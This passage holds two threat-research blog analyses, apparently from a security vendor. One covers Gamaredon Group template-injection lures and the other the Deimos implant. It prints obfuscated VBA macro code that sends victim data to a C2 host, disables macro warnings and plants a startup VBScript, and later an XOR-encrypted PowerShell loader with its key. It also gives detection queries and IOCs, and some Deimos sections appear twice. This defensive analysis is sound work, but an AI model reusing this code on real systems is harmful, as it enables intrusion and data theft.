To improve their chances of success, they customize the request around the same date of the campaign and include urgent requests for action. These efforts are indicative of necessity.

Figure 3 - Lure document - Information request related to NSDC Head of Ukraine

Often, the call to action first required the victim to open an attached lure document. A user who attempted to open one of these malicious attachments would see a perfectly convincing decoy document, while a sequence of invisible actions occurred behind the screen. These documents end up leveraging a technique known as template injection, a method of loading remotely hosted Microsoft Word document templates.

Microsoft Word objects function similarly to compressed archives and have properties defined using Microsoft’s Open Office XML (OOXML) format. Within the decompressed word/_rels/ subdirectory, the file settings.xml.rels contained a network location where a remotely hosted template was retrieved as depicted in Figure 4.

Figure 4 - Excerpt from Settings.xml.rels

Each external URL within these lures were configured to point to Dynamic DNS providers (ddns.net, hopto.org). Dynamic DNS provides automation around updating a name server in the Domain Name System (DNS). By adopting this technique, this shows the adversary’s attempt to mask their ownership and obscure atomic indicator associations through the use of transient infrastructures, such as Dynamic DNS.

Figure 5 - Word startup screen showing download of remote document template

The remote templates are macro-enabled, configured to execute VBA macro code that persists a VBScript object in the victim’s startup folder as a foothold. We assess the objective of this initial code is used to identify the victim and to protect the second-stage payload that is intended only for their targeted victims. In the next sections, we will review the document’s metadata and macro code found in a recent sample.

Document metadata analysis

In malicious campaigns, infrastructure is commonly created for specific targets. This serves multiple purposes, but frequently it’s done to track implants and frustrate automated research and analysis. As analysts, this gives us some insight into the adversaries’ maturity, experience, and resources. As an example, an adversary who reuses lure documents or templates may be less experienced, not interested in high-value targets, or using monetized infrastructure from previous campaigns.

Analyzing the metadata from the lure document and template allows us to see when these weaponized documents were created, as well as identify any associations between different elements of the campaign.

As we can see in Figure 6, the lure document was created on December 24, 2019 by the Author “ШУРИК”. In Figure 7, we can see that the Author is the same as observed in the lure document (ШУРИК). Additionally, we can see that the remote template was created on December 12, 2019 and then modified on December 24, 2019. There were 5 modifications to it, indicating that it has been used for 5 campaigns in 12 days — or about 2.5 days per campaign. With moderate confidence, this tells us that the remote template is likely reused and updated with new macros for new campaigns, and that they were created by the same Author (or at a minimum, the same instance of Microsoft Word).

As an analyst note, we see different tool markings that indicate this was created by a Russian speaker (Russian Author, Russian Language Code, Cyrillic character set, and the usage of Reanimator Extreme Edition). While we can use those as information to help inform overall analysis, this information can be seeded — so it doesn’t prove anything definitively on its own. In this case, this aligns with other open source analysis linking this to the Gamaredon Group, which is believed to be Russian in origin.

| | | | ---------------------- | ----------------------------------------------------------------------- | | File Size | 46 kB | | File Type Extension | docx | | MIME Type | application/vnd.openxmlformats-officedocument.wordprocessingml.document | | Last Modified By | ШУРИК | | Revision Number | 2 | | Create Date | 2019:12:24 15:58:00Z | | Modify Date | 2019:12:24 16:10:00Z | | Template | pos.dot | | Total Edit Time | 2 minutes | | Pages | 1 | | Words | 195 | | Characters | 1114 | | Application | Microsoft Office Word | | Lines | 9 | | Paragraphs | 2 | | Company | Reanimator Extreme Edition | | Characters With Spaces | 1307 |

Figure 6 - Metadata from the lure document (truncated for length)

| | | | ---------------------- | -------------------------- | | File Size | 44 kB | | File Type Extension | doc | | MIME Type | application/msword | | Language Code | Russian | | Author | ШУРИК | | Template | pos.dot | | Last Modified By | ШУРИК | | Software | Microsoft Office Word | | Create Date | 2019:12:12 11:48:00 | | Modify Date | 2019:12:24 10:30:00 | | Code Page | Windows Cyrillic | | Company | Reanimator Extreme Edition | | Char Count With Spaces | 0 | | Revision Number | 5 | | Total Edit Time | 0 | | Words | 0 | | Characters | 0 | | Pages | 1 | | Paragraphs | 1 | | Lines | 1 |

Figure 7 - Metadata from the remote template (truncated for length)

While we cannot state with any authority, searching for the Author “ШУРИК” has identified similar TTPs (lure documents with remote template injection) as far back as September of 2019.

Macro code analysis

The macro code was obfuscated using string concatenation and procedurally generated variables — techniques that are often used to bypass static detection technologies. Upon execution, this code provides reverse shell functionality that allows an adversary access to the victim’s system and capability to access shared resources on their local network. Figure 8 contains an excerpt of the macro that depicts the creation of a reverse shell and some of the system information collected automatically.

Dim NoARzTHy
NoARzTHy = "Set WShell=CreateObject(""WSc" + "ri" + "pt.S" + "hel" + "l"")"
Set PWFJWatF = CreateObject("WScr" + "ipt.Ne" + "two" + "rk")
Dim pbuvwTLK, JzESywut
Set GGZucIZE = CreateObject("Sc" + "rip" + "ting.Fi" + "leSy" + "stemOb" + "ject")
pbuvwTLK = GGZucIZE.Drives(Environ("Syst" + "emDri" + "ve")).SerialNumber
OYTgBXAP = PWFJWatF.ComputerName

Figure 8 - First 7 lines of macro code from the loaded document template

Figure 9 shows an excerpt of the same code removing the concatenation.

Dim NoARzTHy
NoARzTHy = "Set WShell=CreateObject("WScript.Shell")"
Set PWFJWatF = CreateObject("WScript.Network")
Dim pbuvwTLK, JzESywut
Set GGZucIZE = CreateObject("Scripting.FileSystemObject")
pbuvwTLK = GGZucIZE.Drives(Environ("SystemDrive")).SerialNumber
OYTgBXAP = PWFJWatF.ComputerName

Figure 9 - First 7 lines of macro code - Removal of concatenation

The serial number and hostname of the victim's computer are some of the first pieces of information the VBA collects. They are converted to hexadecimal and included in the reverse shell HTTP request to identify both the implant and the victim. Figure 10 shows off the configuration of the URI request within the macro and Figure 11 represents an example URI.

JzESywut = "h" + "tt" + "p:" + "//l" + "ibcr" + "ash.dd" + "ns.ne" + "t/" & OYTgBXAP & "_" & HFzesifc & "//po" + "sol" + "re" + "boo" + "t.ph" + "p"

Figure 10 - URI request configuration - Macro

JzESywut = hxxp://libcrash.ddns[.]net/ENDPOINT1_96L02G3D//posolreboot.php

Figure 11 - URI request configuration - Example

By default, Microsoft disables external or untrusted macros by setting key values in the registry at HKCU\Software\Microsoft\Office(VERSION)\Word\Security. The first registry modification made by this macro changes the key value of AccessVBOM to 1, effectively bypassing the default setting to enable external or untrusted macros. The second registry modification enables all macros automatically and disables warnings for future macro-enabled objects. Figure 12 represents the macro code for these registry modifications.

FEDzCjgi$ = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & _"\Word\Security\"
CreateObject("WScript.Shell").RegWrite FEDzCjgi$ & "AccessVBOM", 1, "REG_DWORD"
CreateObject("WScript.Shell").RegWrite FEDzCjgi$ & "VBAWarnings", 1, "REG_DWORD"

Figure 12 - Registry modifications found in macro

The remaining lines of code end up writing a VBScript file and placing it in the user’s startup directory. Figure 13 contains an excerpt of the beginning lines of macro code where the VBScript (security.vbs) is written to disk and placed in the startup folder.

Dim LISPVdZd As Object
Set LISPVdZd = GGZucIZE.CreateTextFile(FESHWDaD + "\Mi" + "croso" + "ft\Wi" + "ndow" + "s\St" + "art Men" + "u\Pro" + "grams\Sta" + "rtup\secur" + "ity.v" + "b" + "s", True, True)

Figure 13 - Macro code writing VBScript file (security.vbs)

Upon rebooting or successfully authenticating to an infected system, the persistent VBScript file is automatically executed and a standard HTTP GET is made with the previously observed URI (Figure 14). If the request is successful, the response body gets stored into another variable. This functionality appears to serve as a downloader that has specific subroutine instructions for reassembling a binary on disk. Figure 14 contains an excerpt of the function used to construct the HTTP GET request.

Function TOGeMFBD(iWotBBKf)
On Error Resume Next
Set EXJJrRlN = CreateObject("MSXML2.XMLHTTP")
With EXJJrRlN
.Open "GET", iWotBBKf, False
.send
End With
If EXJJrRlN.Status = 200 Then
TOGeMFBD = EXJJrRlN.ResponseBody
End If
End Function

Figure 14 - GET request (security.vbs)

During dynamic analysis, analysts identified that the script enters a loop while sending the request. A 0-byte file is created under the infected user’s roaming profile with a procedurally generated file name and text file extension. The file is iteratively written and deleted without the contents changing.

Analysts have not confirmed the purpose of this file, and suspect it is used to reassemble a segmented later-stage implant. Potential reasons to obfuscate this process include evading detection and response solutions.

Pteranodon update

While doing this research, we observed samples and artifacts that appear to be related to an updated version of the Gamaredon Group’s custom backdoor, known as Pteranodon. Although we don’t have substantial evidence that Pteranodon is the final payload victims are infected with during this campaign, we assess with moderate confidence that this activity is linked to Gamaredon Group.

Three PE samples were uploaded to VirusTotal last month with each dropping two text files (ExcelMyMacros.vba, wordMacros.vba). The two text files share several similarities to the VBA macro code found in the remote templates used in this campaign — specifically, the methods of retrieving and hex-encoding the serial number and similar subroutine logic. Figure 15 depicts the VBA macro code from the remote template on the left and the dropped VBA macro code from a known Pteranodon implant on the right.

VBA from Campaign

For LfJesrvH = 0 To UBound( IvAPFGDD )" + vbCrLf
LISPVdZd.Write "IvAPFGDD(LfJesrvH) = Asc( Mid( EaCJFwPc, LfJesrvH + 1, 1 ) )" + vbCrLf
LISPVdZd.Write "Next" + vbCrLf
LISPVdZd.Write "GetFEDzCjgi = IvAPFGDD" + vbCrLf

VBA from Pteranodon

For i = 0 To UBound( asrrCodes )" + vbCrLf
NewVDJKpCBSFile.Write " asrrCodes(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )" + vbCrLf
NewVDJKpCBSFile.Write " Next" + vbCrLf
NewVDJKpCBSFile.Write " GetKey = asrrCodes" + vbCrLf

Figure 15 - Macro comparison - VBA from Campaign (top) vs VBA from Pteranodon (bottom)

Both text files contained VBA, and had the same functionality for disabling macro warnings, creating a persistent VBScript in the startup folder and establishing connections to C2. What’s interesting with the dropped text files (VBA), is that they show the true variable names used by the developers before their tooling obfuscates the variables. At the time of this writing, each of the four C2 servers (see attached indicators) affiliated with Pteranodon samples were currently active and hosted a network allocated to ASN9123 (TIMEWEB LTD). Macro code associated with the Gamaredon Group campaign targeting Ukraninan officials called back to C2 hosted in the same network.

An interesting change in some of these artifacts appears to be the adoption of .NET. Along with the two text files containing VBA code, there are three dropped DLL’s (Microsoft.Office.Interop.Excel.dll, Microsoft.Office.Interop.Word.dll, Microsoft.Vbe.Interop.dll) and a .NET sample showing dependencies with these files. Figure 16 shows a hex-encoded reference to one of the VBA files (wordMacros.txt). Based on these observations, it’s intriguing to see Gamaredon Group continue to leverage core functionality of their VBA stager code, but in a new method of execution by using .NET

Figure 16 - .NET reference to “wordMacros.txt”

Detection crafting

For organizations interested in detecting TTPs discussed in this blog post, detection logic has been provided for the following categories:

Dynamic DNS

Dynamic DNS enables adversaries to rapidly provision very large numbers of records that map back to their infrastructure, creating a confusion layer between victims and adversaries. Gamaredon Group exclusively used Dynamic DNS locations for remotely hosted templates, rotating domains consistently, and leveraging separate infrastructure for hosting stagers and templates.

Profiling Dynamic DNS for your enterprise is an amazing way to get started hunting — not just to baseline and build environmental awareness, but also to outright find evil. We will primarily focus on the two Dynamic DNS providers observed in relation to this campaign. If you need inspiration, consider counting up all non-browser processes that made a DNS request to one of these Dynamic DNS providers as shown in Figure 17.

dns where wildcard(query_name, "*.ddns.net", "*.hopto.org", "*.bounceme.net") and
process_name not in ("chrome.exe","iexplore.exe", "firefox.exe")
| count process_name, query_name

Figure 17 - EQL Query - Count of non-browser process to dynamic DNS providers

Another option examines the processes that most frequently communicate with these providers, and may provide more context regarding how dynamic DNS is used in your environment, or enable an analyst to find signs of other malicious activity.

network where event of
[dns where wildcard(query_name, "*.ddns.net", "*.hopto.org", "*.bounceme.net")
| count process_name, total_in_bytes, total_out_bytes

Figure 18 - EQL query - Network traffic of processes to dynamic DNS providers

Template Injection

Spearphishing attachments that utilize template injection may bypass security controls because they contain no embedded VBA code. The attached document retrieves a remotely hosted template where the malicious VBA code resides. In order to detect this activity dynamically, analyze DNS and network traffic over common protocols (HTTP/HTTPS/SMB) and processes generated by Microsoft Office applications. Enterprise defenders may need to whitelist any legitimate use of remotely hosted templates, or any benign network activity to Microsoft infrastructure. Below is an example EQL query focused on new process creation events from Office products that also made DNS requests outside our whitelist.

sequence by unique_pid
[process where process_name in ("winword.exe", "excel.exe", "powerpnt.exe")]
[dns where not wildcard(query_name , "*.microsoft.com", "*.skype.com")]

Figure 19 - EQL query - DNS traffic from Office applications

Some enhancements we can use with the previous query is to add a network event to the sequence as well as look for a spawned child process bringing in more context to the detection.

sequence
[process where process_name in ("winword.exe", "excel.exe", "powerpnt.exe")] by unique_pid
[dns where not wildcard(query_name, "*.microsoft.com", "*.skype.com")] by unique_pid
[network where true] by unique_pid
[process where subtype.create] by unique_ppid

Figure 20 - EQL query - Network traffic making dynamic DNS requests from Office applications

If we wanted to tailor a sequence-based detection to the Gamaredon Group activity specifically, we can bring in the previous Dynamic DNS providers, which creates a more restrictive filter.

sequence by unique_pid
[process where process_name in ("winword.exe", "excel.exe", "powerpnt.exe")]
[network where event of
[dns where wildcard(query_name, "*.ddns.net", "*.hopto.org", "*.bounceme.net")]]

Figure 21 - EQL query - Network traffic making dynamic DNS requests from Office applications

Across a range of features provided by the Elastic Endpoint, this attack is prevented through different machine-learning technologies to stop advanced threats such as macro-enabled documents and malicious binaries. Along with these protections, we can take nearly any EQL logic and deploy it in prevention mode to completely stop an attack such as in this example with the download and execution of the remote template. Here’s a short clip in action:

Malicious registry configuration

In order for adversaries to be effective in their mission, they often create their own opportunities. In this case, the adversary reconfigured the target endpoint in order to disable macro security warnings and trust future macros automatically. These small changes can end up having larger implications, and defenders can look for them as symptoms of more serious security issues. For example, these same techniques have also been associated with threat groups like APT32 and are leveraged by malware families such as AgentTesla and BabyShark.

This query looks for evidence of the registry modifications that disable warnings for macros and automatically enabling future macros:

registry where registry_data == 1 and wildcard(registry_path,
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\AccessVBOM",
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\VBAWarnings")

Figure 22 - EQL query - Registry modifications around disabling macro security features

That would function perfectly well as a standalone detection, but EQL allows us to look for both the registry modification and template injection techniques in this example query:

sequence by unique_pid
[process where process_name in ("winword.exe", "excel.exe", "powerpnt.exe")]
[registry where registry_data == 1 and wildcard(registry_path,
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\AccessVBOM",
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\VBAWarnings")]
[registry where registry_data == 1 and wildcard(registry_path,
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\AccessVBOM",
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\VBAWarnings")]

Figure 23 - EQL query - Registry modifications around disabling macro security features

Persistence startup

Gamaredon Group leveraged both malicious Windows shortcut files and script objects written to the Startup folder for persistence. This technique is very effective in spite of its simplicity and continues to be popular among adversaries. One of the first places to start building detection logic would be to inquire about processes that write files to the startup folder.

file where subtype.create
and (
file_path == "*\\Programs\\Startup\\*.lnk" or
file_path == "*\\Programs\\Startup\\*.vbs"
)
| count process_name, file_path, user_name

Figure 24 - EQL query - Monitoring file writes to startup folder

To take it a bit further, we can also customize detection logic to include the VBScript execution at logon. This is a great example for building a sequenced-based signal, as we will track the adversary’s activity over an extended period of time — such as 90 days. Once the machine is rebooted or the user logs back in, an alert can be generated when WScript executes the VBScript file at startup.

sequence with maxspan=90d
[file where subtype.create and file_path == "*\\Programs\\Startup\\*.vbs"]
[process where subtype.create and parent_process_name=="explorer.exe" and
process_name == “wscript.exe” and command_line == "*\\Programs\\Startup\\*"]

Figure 25 - EQL query - Monitoring execution of startup processes

Conclusion

In this post, we reviewed recent campaign TTPs tied to an adversary known publicly as Gamaredon Group. This group is likely to have been active since at least 2013 and has engaged in an ongoing campaign against Ukraine at the time of this writing. We highlighted some of their current techniques such as template injection and the use of Dynamic DNS providers, the macro code found in a recent sample, and updates to their custom backdoor known as Pteranodon. By using EQL, we also shared hunting and detection strategies around four specific techniques used by Gamaredon Group.

We hope that by sharing some of these insights and queries, we can help raise awareness and continue to focus on protecting the world's data from attacks. To enable organizations further, we’ve added all the Indicators of Compromise (IOCs) below and added the queries in this post into the EQLLib repository.

Interested in using Elastic Security? Try Elastic SIEM for free.

Plus, EQL support is being added to Elasticsearch!

Indicators of Compromise (IOCs)

| | | | ----------------------------------------- | ------------------------------------------------------------------ | | Lure Document SHA-256 | 86e0701349903105b0c346df9485dd59d85dd9463c2bee46d974ea1b1d7059d4 | | Remote Template (pos.dot) SHA-256 | feb0596e9735e03ae929d9b5ee862da19e16e5cdf57dd2a795205e591a55940f | | Remote Template from Lure Document Domain | document-out[.]hopto[.]org/pos[.]dot | | Remote Template Hosting IP | 141[.]8[.]195[.]60 | | Remote Template Hosting IP | 141[.]8[.]192[.]153 | | System Information Upload IP | 188[.]225[.]25[.]50 | | System Information Upload URI | libcrash.ddns[.]net/{Computername_SerialNumber}//posolreboot.php | | ExcelMyMacros.vba SHA-256 | c4089686965df5e52105b6eac06703aa11c4891695278446370f623d531b505e | | wordMacros.vba SHA-256 | 02e6e2bfaaf6e77cfaccadaf26167135c53cf2c934d17c5a83e5bbcadd85b47d | | ExcelMyMacros.txt SHA-256 | 2f310c5b16620d9f6e5d93db52607f21040b4829aa6110e22ac55fab659e9fa1 | | Pteranodon SHA-256 | c1524a4573bc6acbe59e559c2596975c657ae6bbc0b64f943fffca663b98a95f | | Pteranodon SHA-256 | 145a61a14ec6d32b105a6279cd943317b41f1d27f21ac64df61bcdd464868edd | | Pteranodon Domain | beercraft[.]space | | Pteranodon Domain | skymage[.]fun | | Pteranodon Domain | masseffect[.]space | | Pteranodon Domain | masseffect[.]website | | Pteranodon IP | 185[.]200[.]241[.]88 | | Pteranodon IP | 188[.]225[.]46[.]94 |

References

https://www.anomali.com/resources/whitepapers/malicious-activity-aligning-with-gamaredon-ttps-targets-ukraine

Going Coast to Coast - Climbing the Pyramid with the Deimos Implant

Andrew Pease,Daniel Stepanic,Derek Ditch — Wed, 08 Jun 2022 00:00:00 GMT

A remote access tool is actively being developed in campaigns beyond the initially reported Jupyter Infostealer, SolarMarker, and Yellow Cockatoo campaigns

The malware employs multiple layers of complex obfuscation and encryption techniques

The malware has incorporated convincing lure files and digitally signed installation executables

The malware is part of intrusion sets that are used to establish an initial foothold and maintain persistence into contested environments

A successful takedown was completed by the Elastic Security team for the observed C2 infrastructure

The Deimos implant is a new, complex form of malware first reported in 2020. This remote access tool is under active development, with the aim of evading detection by using multiple layers of complex obfuscation and encryption techniques.

These advanced defensive countermeasures, which also include convincing lure files and digitally signed installation executables, can frustrate identification and analysis. However, the Elastic Security team recently completed a successful takedown of the observed command and control (C2) infrastructure, allowing us to provide detection rules and hunting techniques to aid in identifying this powerful implant.

This post details the tactics, techniques, and procedures, or TTPs, of the Deimos implant. Our goal is to help security practitioners leverage the Elastic Stack to collect and analyze malware and intrusion data by revealing information about how Deimos works that its creators have attempted to obscure for defensive purposes.

Overview

The Elastic Intelligence & Analytics team tracks a new strain of the Deimos initial access and persistence implant previously associated with the Jupyter Infostealer malware (tracked elsewhere as Yellow Cockatoo, and SolarMarker). This implant has demonstrated a maturation of obfuscation techniques as a result of published research. This indicates that the activity group is actively modifying its codebase to evade detective countermeasures.

The sample we observed was not leveraged as an information stealer. It is an implant that provides initial access, persistence, and C2 functions. This makes the implant powerful in that it can be used to accomplish any tasks that require remote access. It is likely that these intrusions are the beginning of a concentrated campaign against the victims or will be sold off in bulk for other campaigns unassociated with the access collection.

The analysis will leverage David Bianco's Pyramid of Pain analytical model to describe the value of atomic indicators, artifacts, tool-markings, and TTPs to the malware authors and how uncovering them can impact the efficiency of the intrusion sets leveraging this implant. Additionally, we are providing some host-based hunting techniques and detection rules that can be leveraged to identify this implant and others that share similar artifacts and TTPs.

Details

On August 31, 2021, Elastic observed process injection telemetry that shared techniques with the Jupyter Infostealer as reported by Morphisec, Binary Defense, and security researcher Squibydoo [1] [2] [3] [4] [5]. As we began analysis and compared the samples we observed to prior research, we identified a change in the way obfuscation was implemented. This change may be the result of several factors, one of which is an attempt by the adversary to bypass or otherwise evade existing defenses or malware analysis.

Note: As previous versions of this malware have been thoroughly documented, we will focus on newly observed capabilities and functionality.

During dynamic analysis of the malware, we observed behavior similar to that which had been reported elsewhere - namely obfuscation using a litany of runtime-created variables (variables that are unique to each execution), directories, an XOR cipher, and Base64 encoded commands. Below, is an example of the new obfuscation tactics employed by the malware author to hinder analysis. We'll discuss this in detail as we unpack the malware's execution.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$650326ac2b1100c4508b8a700b658ad7='C:\Users\user1\d2e227be5d58955a8d12db18fca5d787\a5fb52fc397f782c691961d23cf5e785\4284a9859ab2184b017070368b4a73cd\89555a8780abdb39d3f1761918c40505\83e4d9dd7a7735a516696a49efcc2269\d1c086bb3efeb05d8098a20b80fc3c1a\650326ac2b1100c4508b8a700b658ad7';$1e3dadee7a4b45213f674cb23b07d4b0='hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX';$d6ffa847bb31b563e9b7b08aad22d447=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7;for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;)\{for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++)\{$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count)\{$j=$1e3dadee7a4b45213f674cb23b07d4b0.length\}\}\};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;"

Figure 1: PowerShell executed by malware installer

The sample we observed created a Base64-encoded file nested several subdirectories deep in the %USERPROFILE% directory and referenced this file using a runtime variable in the PowerShell script ($650326ac2b1100c4508b8a700b658ad7 in our sample). Once this encoded file was read by PowerShell, it is deleted as shown in Figure 2. Other published research observed the Base64 string within the PowerShell command which made it visible during execution. This shows an adaptation of the obfuscation techniques leveraged by the malware authors in response to reports published by security researchers.

FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7

Figure 2: Base64 encoded file read and then deleted

Additionally, there was the inclusion of another variable ($1e3dadee7a4b45213f674cb23b07d4b0 in our example) with a value of hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX. By deobfuscating the PowerShell command, we determined that this value was the XOR key used to decrypt the value of the 650326ac2b1100c4508b8a700b658ad7 file. Now that we had the location of the Base64 encoded file and the ability to decrypt it, we needed to prevent it from being deleted.

To do this, we leveraged the FileDelete event configuration for Sysmon. By default, this creates a directory in the "C:\Sysmon" directory and then places all deleted files (named by the file MD5 + SHA256 hashes + 33 0's + extension) in that folder. This directory is only available to the SYSTEM user. We used PSExec to access the folder (psexec -sid cmd). The file contained a single-line Base64-encoded string.

As we observed in the PowerShell above, the contents are protected using an XOR cipher, but a cipher we have the key for. Using the command-line tools base64 and xortool, we're able to decode and decrypt the file:

base64
-D - use the base64 program to decode
-i - the input file to be decoded
-o - the output file to save the decoded content
xortool-xor
-r - the XOR cipher key
-f - the file that is XOR encrypted
\> - output the decrypted file

base64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \
-o 650326ac2b1100c4508b8a700b658ad7.decoded

xortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \
-f 650326ac2b1100c4508b8a700b658ad7.decoded \
\> 650326ac2b1100c4508b8a700b658ad7.xor

Figure 3: Decrypting the XOR'd Base64 encoded file

This resulted in another obfuscated file that started with an XOR'd Base64-encoded variable and ended with more PowerShell.

$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...

...CReaTEShorTcuT($ENV:APpDATa+'\m'+'IcR'+'OSO'+'Ft'+'\w'+'Ind'+'OW'+'S\'+'sT'+'ARt'+' ME
'+'nU'+'\pr'+'OGR'+'aMS\'+'sT'+'ART'+'uP'+'\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.tARGETpaTh=$a079109a9a641e8b862832e92c1c7+'\'+$a7f0a120130474bdc120c5f
13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401;

Figure 4: Final obfuscated file (truncated)

Following the same process as before, we identified the XOR key (which may have been trying to use an = sign to appear to look like it was Base64) and decoded the file.

XjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0ZAckhgNl5vX1deQGBad2peTyZvVUByaSk2XlBJMTxAdEtnT0B3fnBJPCtfe2tvV0d7P3Y0V2BaeXQ9PmhtI3ZaVHc3I2tGcm5IRmlmUTV8bXpxXlg/cyo8XyFwXyt5QmwjOChQZ09aPXxqaS1hfmxDK3U=

Figure 5: XOR cipher key

This process yielded a .NET DLL file that creates an implant tracking ID and files used for persistence (more about the tracking ID is in the Analysis - Initial Access section).

adab58383614f8be4ed9d27508c2b: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

Figure 6: .NET DLL file type

The DLL calls itself Mars.Deimos and correlates to previous research by Morphisec, Binary Defense, and security researcher Squibydoo [1] [2] [3] [4] [5]. The particular samples that we've observed utilize the .NET hardening tool Dotfuscator CE 6.3.0 to hinder malware analysis.

What we found particularly interesting is that the authors have spent time modifying the malware in an attempt to make it harder to detect, indicating that they're incentivized to maintain the malware. This is good to know as we move into the analysis phase because it means that we can make an impact on a valuable malware implant that will frustrate those using it for financial gain.

Analysis

All indicators referenced in the analysis are located in the Indicators section.

The Pyramid of Pain

Before we get into the analysis, let's discuss the model we used to help guide our process.

In 2013, security researcher David Bianco released an analytical model called the Pyramid of Pain. The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, identifying hash values are useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change.

The goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of "pain") you can inflict. Throughout the analysis of the observed samples, we'll overlay them onto the Pyramid of Pain as an illustrative method to assess the potential impact.

File Hashes

Once we identified that we had observed a new variant of the malware sample, we applied search queries to our dataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be targeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded files are also all different.

So while this information is useful, it is apparent that using a file hash as a detection method would not be useful across organizations.

IP Addresses

As other researchers have noted, we observed the same IP address used in the campaign. This IP address was first associated with malicious files on August 30, 2021.

IP 216.230.232.134
Anycast false
City Houston
Region Texas
Country United States (US)
Location 29.7633,-95.3633
Organization AS40156 The Optimal Link Corporation
Postal 77052
Timezone America/Chicago

Figure 8: Information on identified IP address

This IP address has been reported to multiple abuse sites and identified independently by multiple security researchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has removed the observed C2 infrastructure access to any implants.

While this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP address, so let’s try to get higher up the pyramid and make a bigger impact on the adversary.

Artifacts

Resource Development

The lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed with a digital certificate registered as a "Spoloènos s Ruèením Obmedzeným" (S.R.O.). An S.R.O. is a business designation for Slovakian businesses owned by a foreign entity.

The S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the signature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a different S.R.O. (SRO #2).

File Hashes

So while this information is useful, it is apparent that using a file hash as a detection method would not be useful across organizations.

IP Addresses

As other researchers have noted, we observed the same IP address used in the campaign. This IP address was first associated with malicious files on August 30, 2021.

IP 216.230.232.134
Anycast false
City Houston
Region Texas
Country United States (US)
Location 29.7633,-95.3633
Organization AS40156 The Optimal Link Corporation
Postal 77052
Timezone America/Chicago

Figure 8: Information on identified IP address

Artifacts

Resource Development

SRO #2 has been in business since August 19, 2014, and provides a variety of services. The owner of SRO #2 has a single-named partner located in a country in the former Eastern Bloc of Europe (Executive manager).

We are unable to state definitively if the organizations or people are intentionally involved, cutouts, or unwilling participants so we will not be naming them. This process of obtaining possibly stolen certificates aligns with other samples we analyzed. It is obvious that however these certificates were procured, the person (or persons) responsible appear well-versed with the bureaucracies and laws required in registering a foreign-owned business in Slovakia.

Initial Access

We observed the most indicators in this tier. Indicators in the Artifacts tier, both host and network, are valuable to a defender because they are difficult for an adversary to change without considerable rearchitecting of the way the malware functions. This differs from atomic indicators (hashes and infrastructure) in that those elements are modular and can simply be updated. Artifacts, like cipher keys (as we'll see below), are often hard-coded into the source code prior to compilation and require significant work to adjust.

The dropper creates a series of nested directories whose names are 32-characters long, alphanumeric, and lowercase. In all cases we've observed, there are six nested directories, and a single file within the final subdirectory using the same naming convention. During the initial execution, this file is loaded, deobfuscated with a 52-byte static XOR key, and then executed as a PowerShell script. We have included a hunting query in the Detection section that identifies this activity.

Additionally, the .Net assembly creates a string by listing all files located at %USERPROFILE%\APPDATA\ROAMING. This is stored as the hwid value, which is a unique identifier for this machine. If the file doesn't exist yet, it is created by generating 32 random bytes and encoding them with a custom Base64 encoding.

Persistence

Once executed, the PowerShell script establishes persistence of the malware generating a random quantity between 100 and 200 files in a directory named %APPDATA%\Microsoft\. The random string contains only lowercase and uppercase letters A-Z and the digits 0-9. It could be anywhere between 10 to 20 characters in length. This directory is the staging directory. These files contain randomly generated bytes between 50,000 bytes and 200,000 bytes. The files themselves are named ., where each random string follows the same convention as the directory name. Lastly, one final file is written to this directory which contains an obfuscated .Net DLL. This is the actual Deimos implant. It resembles the dummy files with similar attributes in this directory, further attempting to evade defenses.

